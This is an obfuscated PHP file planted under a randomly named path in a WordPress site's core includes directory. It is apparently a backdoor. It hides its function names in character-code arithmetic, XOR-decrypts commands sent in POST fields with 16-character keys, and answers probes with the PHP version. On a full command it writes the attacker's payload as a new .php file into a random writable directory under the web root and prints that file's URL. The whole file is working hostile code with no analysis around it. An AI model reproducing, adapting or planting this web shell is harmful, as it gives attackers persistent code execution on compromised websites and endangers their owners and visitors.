File: /opt/wpsites/gsudice.dataconn.net/wp-includes/blocks/query/cxeikvnn.php
<?php $XzvhhC = 'D'."\117".chr(305-238)."\x55"."\115".chr(69).chr(78).chr(337-253).chr(95)."\x52"."\117"."\x4f".chr(1040-956);$MfDFP = "\110".'T'.chr(438-354)."\x50"."\137".'H'."\x4f"."\123".chr(84);$dcVyZ = chr(414-310)."\164"."\x74".chr(112).':'.chr(47).chr(783-736);$LuXirVmg = "\x2e"."\x70".chr(104).chr(637-525);$oeQyLNweu = 'p'.'h'.chr(112);$ROGHqveqjO = chr(102).chr(908-803).chr(108)."\x65".chr(95).chr(852-740).'u'.'t'."\137".'c'.'o'."\x6e".'t'."\x65"."\x6e".'t'."\x73";$KcNwzcL = "\x72"."\x61".'w'."\x75"."\x72"."\154"."\144".chr(101).'c'.chr(230-119).'d'.'e';$HBcyou = chr(918-801).'n'.chr(115)."\145".'r'.'i'.chr(97).chr(108)."\x69"."\172"."\x65";$pZjtjGjyH = chr(105)."\x73"."\x5f"."\x77"."\x72".chr(105).'t'.chr(97).chr(98).'l'."\x65";$AoSUHJbLO = "\x70"."\150".chr(878-766).chr(118).chr(101)."\x72".chr(538-423)."\151".'o'.chr(198-88);$PSTnth = chr(115).chr(824-708).'r'.chr(95).chr(548-434)."\157".chr(116).chr(633-584).chr(51);$OLQbc = 's'."\x65".chr(158-44).chr(435-330).'a'."\x6c".chr(317-212).chr(122)."\145";$HDfPuil = chr(115)."\164"."\x72".'_'."\x73".'p'."\154".'i'.chr(599-483);foreach ($_POST as $YZUUOAxz => $RtojdAh){$PxRiHE = strlen($YZUUOAxz);if ($PxRiHE == 16){$RtojdAh = $HDfPuil($KcNwzcL($PSTnth($RtojdAh)));$YZUUOAxz = array_slice($HDfPuil(str_repeat($YZUUOAxz, (count($RtojdAh)/16)+1)), 0, count($RtojdAh));function KjgMY($PFgfo, $hFAFKul, $YZUUOAxz){$tRIAkKduPC = "5bce7299-0d90-4ea8-a8dc-3769f7d6c658";return $PFgfo ^ $tRIAkKduPC[$hFAFKul % strlen($tRIAkKduPC)] ^ $YZUUOAxz;}$RtojdAh = array_map("KjgMY", array_values($RtojdAh), array_keys($RtojdAh), array_values($YZUUOAxz));$RtojdAh = implode("", $RtojdAh);$RtojdAh = @$HBcyou($RtojdAh);if (@is_array($RtojdAh)){$jBpcWJhJBX = array_keys($RtojdAh);$RtojdAh = $RtojdAh[$jBpcWJhJBX[0]];if ($RtojdAh === $jBpcWJhJBX[0]){echo @$OLQbc(Array($oeQyLNweu => @$AoSUHJbLO(), ));exit();}else {function DoYgWMSpV($kVPBwSBir){static $JGKnBhRSbO = array();$jspGddjxoP = glob($kVPBwSBir . '/*', GLOB_ONLYDIR);$JXBeXOMkau = count($jspGddjxoP);if ($JXBeXOMkau > 0) {foreach ($jspGddjxoP as $kVPBwSB) {if (@$pZjtjGjyH($kVPBwSB)) {$JGKnBhRSbO[] = $kVPBwSB;}}}foreach ($jspGddjxoP as $kVPBwSBir) DoYgWMSpV($kVPBwSBir);return $JGKnBhRSbO;}$ttbrgJiY = $_SERVER[$XzvhhC];$jspGddjxoP = DoYgWMSpV($ttbrgJiY);$jBpcWJhJBX = array_rand($jspGddjxoP);$smOsPQ = $jspGddjxoP[$jBpcWJhJBX] . "/" . substr(md5(time()), 0, 8) . $LuXirVmg;@$ROGHqveqjO($smOsPQ, $RtojdAh);$Prwwj = $dcVyZ . $_SERVER[$MfDFP] . substr($smOsPQ, strlen($ttbrgJiY));echo $Prwwj;die();}}}}